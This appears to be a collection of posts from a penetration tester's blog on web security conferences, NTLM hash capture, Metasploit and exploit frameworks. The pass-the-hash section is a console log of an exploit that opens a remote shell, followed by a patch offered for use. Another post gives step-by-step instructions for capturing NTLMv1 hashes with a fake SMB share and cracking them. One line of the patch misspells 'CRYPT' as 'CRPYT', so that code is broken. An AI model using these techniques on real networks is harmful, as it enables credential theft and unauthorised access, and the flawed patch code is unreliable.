IE Trust Zones

This week is the joint OWASP/WASC conference in San Jose. Two days of web app nerds getting together and exchanging ideas about CSRF protections, web services, the Samy worm, etc. It's loads of fun! I'm a big OWASP supporter and push their information wherever possible. I'm always shocked when I hear "I've never heard of them" from a developer.

Rsnake gave a presentation/rant about the sorry state of web security. Not that it's something that was created out of malice, just that we're seeing issues today that were never part of the original concept of the web. Just like spam was never on the minds of Ray and Dick when they created electronic mail.

He briefly mentioned one of my favorite topics - Windows hashes. Then I read his blog entry describing Natron's ideas for using DNS Pinning to affect the IE Trust Zone. It's an area I was thinking of but hadn't worked on yet because I was focused on the insider attack space. Awesome!

Of course there are a few complications with the theory that have to be considered:

1. If the attacker doesn't send the domain name in the Type message that the victim's computer is a member of, a dialog box will appear. People may still put their passwords in but the idea of mass transparent authentication capture isn't there.
2. IE Trust Zones are pretty akward in design. What constitutes an Intranet Zone site? Microsoft KB174360 says: By default, the Local Intranet zone contains all of the network connections that were established by using a Universal Naming Convention (UNC) path, and Web sites that bypass the proxy server or have names that do not include periods (for example, http://local), provided that they are not assigned to either the Restricted Sites or Trusted Sites zone.
3. If a company is using a proxy server and you DNS Pin a name that doesn't have a FQDN at the end, that address may never be reached because IE won't use the defined proxy and attempt to connect directly to the attacker's IP address.

Another option I was thinking of would be somehow creating a Java or Flash proxy server but unfortunately their sandboxes have locked down any bind requests (unless someone has some mojo that gets around this). Flash doesn't support it and Java doesn't permit binds in applets.

In any event the patch to Metasploit adding NTLM type message parsing was submitted back in October. I have some updates to send in but it's still functional. The pre-defined nonce hash catcher (pokehashball.rb) script is fairly complete and the HTTP-to-POP3 tool (psyduck-pop3.rb) is fun to play with. None of these attacks have been incorporated into Metasploit modules yet but that's still on the radar (smb_relay via HTTP).

Visit http://grutz.jingojango.net/exploits/pokehashball.html for the code.

Full Disclosure: This attack was first documented by Jesse Burns at iSec Partners using jCIFS. Where's your code, Jesse? :)

NTLM Hashes Like Pokemon

I recently finished up a patch to Metasploit that processes NTLM Type Messages. These are the negotiated messages when authenticating to HTTP(S), IMAP, POP3 or SMTP. If you follow the svn trunk of Metasploit the support is there. Hopefully this weekend I'll finalize everything for a cool release.

Pass The Hash Support for Metasploit

Surprisingly Metasploit 3's SMB auth routines didn't support "pass the hash" so I took some time and put it in.

msf exploit(ms06_040_netapi) > set SMBPass 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C
SMBPass => 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C
msf exploit(ms06_040_netapi) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Doing pass the hash.
[*] LM: 6A98EB0FB88A449CBE6FABFD825BCA61
[*] NT: A4141712F19E9DD5ADF16919BB38A95C
[*] Detected a Windows 2000 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Command shell session 1 opened (192.168.110.1:42485 -> 192.168.110.130:4444)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

The Patch:

Index: lib/rex/proto/smb/client.rb
===================================================================
--- lib/rex/proto/smb/client.rb (revision 4889)
+++ lib/rex/proto/smb/client.rb (working copy)
@@ -568,8 +568,13 @@

raise XCEPT::NTLM1MissingChallenge if not self.challenge_key

- hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
- hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
+ if (pass.length == 65)
+ hash_lm = CRYPT.e_p24( [ pass.upcase()[0,32] ].pack('H42'), self.challenge_key)
+ hash_nt = CRPYT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), self.challenge_key)
+ else
+ hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
+ hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
+ end

data = ''
data << hash_lm
@@ -690,7 +695,11 @@
nonce = CRYPT.md5_hash(self.challenge_key + client_challenge)

# Generate the NTLM hash
- resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
+ if (pass.length == 65)
+ resp_ntlm = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), nonce[0, 8])
+ else
+ resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
+ end

# Generate the fake LANMAN hash
resp_lmv2 = client_challenge + ("\x00" * 16)

NTLMv1, Metasploit and You

In Metasploit 2.7 there existed a moduled called "smb_sniffer" that listened as a Windows SMB server, responded to negotiations with a preset challenge and forced crypto to NTLMv1. When I asked the devs about it they said it was for "future purposes."

That future purpose is now documented!

Step 1 - Download my slightly updated version from here and place it in your exploits/ directory.

Step 2a - Run it with root privs on a UNIX host (doesn't work on Windows, sorry).
Step 2b - Have a Windows machine connect to your "share" - they will get an access denied but stuff like will work.


Step 3 - Send the hashes to Cain & Abel for cracking or cryptanalysis! Obtain the HALFLMCHALL tables from FreeRainbowCrack.Com or run a brute force, dictionary, hybrid, etc.


Step 4 - Success!


One caveat -- the half-lm challenge table only does the first 7 characters of LANMAN. You still have to brute force the last 7 and if the user's password is greater than 14 characters, you're really out of luck.

Enjoy! :)

Frameworks are not auto-hackers

I was reading a review of the Yoggie Gatekeeper Pro in this month's SC Magazine. It's a neat little device that hides your PC behind a Linux firewall-appliance when connecting to an untrusted network. The voodoo of how it shims itself into your Windows networking stack so you can connect to a wireless network and still be protected through the Yoggie aside -- one thing about the review really made my hair bristle:

Using our vulnerability assessment tool (NetClarity) and our penetration tool (Core Impact) we were unable to compromisethe Gatekeeper or the computer behind it.
- SC Magazine, April 2007, Pg 63

Well duh.

Both the tools listed are only as strong as their signatures, exploits and platform shellcode. That statement is like running Core Impact against a copy of OpenVMS and saying IMPENETRABLE! when you're done. Technically it's valid but it's no measure of strength.

Maybe these statements are made because of a contractual obligation. "Say our product name five times and we'll give you free copies" sort of thing. Unfortunately there will be InfoSec managers and the like who will listen and wonder if maybe they should use these tools in lieu of hiring security professionals who actually know something.

Maybe I'm just being too overly critical and hypersensitive about this. I don't think I am as I've looked at a number of Web Application Security tools on the market and none of them have been able to find the more serious vulnerabilities vs. a team of two or three highly skilled testers have. We still need good QA but attack Frameworks like CORE Impact, Canvas and Metasploit aren't automated tools. Don't treat them as such.

Exploit frameworks are the best

This week I wrote an exploit for a JRun vulnerability released in 2002! I was proud of myself as we rarely get the chance to write an overflow during a penetration test. Usually it's all web exploits, unpatched windows systems, poor administration, etc. My friend said we found "the oldest box on his network." So much for "no public exploits exist" as a mitigation! HA!

The hardest part of all this was getting a copy of the JRun software installed and running in a VM. It was so old the company (Allaire) had been bought twice so no installers could easily be found! A few hurdles later and within half a day I had a stable module written for Metasploit. Later in the evening I wrapped one up for Canvas. I don't have a copy of CORE Impact - it's a little expensive and, well, we do alright with what we have. :)

Dave Aitel once said he envisioned a future of exploit writing becoming a marketplace where they can be sold by third parties like ActiveX objects were in the early days of IE. Needed to do some video? Here's a library that'll help!

To be honest I don't see that happening. There's little value for me to spend some amount ($100 to $5000?) for a single exploit that may or may not work to "prove" the system is vulnerable. There's so much wiggle area when exploiting a system, even with the protections provided by today's frameworks, that it'll just be too unreliable. I'd have a hard time justifying the cost but maybe that's just me.

There's been talk on the Metasploit mailing list of putting together an exploit module repository. Something centralized that can be maintained by developers. I've been searching for a project, maybe this will be it. :) Anyone else that's interested drop me a line. I envision a Trac Wiki + SVN repository with some core supporters and community submissions/requests. Of course we'll have to weed out the 100s of "writemesumthin 2 hax myspace/yahoo/aim" but that's part of the fun!

Until then.. enjoy my meager contributions: http://grutz.jingojango.net/exploits/

SecurityOPUS is coming up March 19-21 here in San Francisco. It's an awesome conference and I highly recommend coming -- registration is still open. We don't have many get-togethers here for some reason other than big marketing events like RSA. There's a lot of talent in the bay area and this is a great way for the security community to come together more. Come! Learn! Enjoy! Eat some great food on Rich's dime! Then later come to our OWASP meetings. They're lots of fun and free beer when iSEC Partners hosts. :)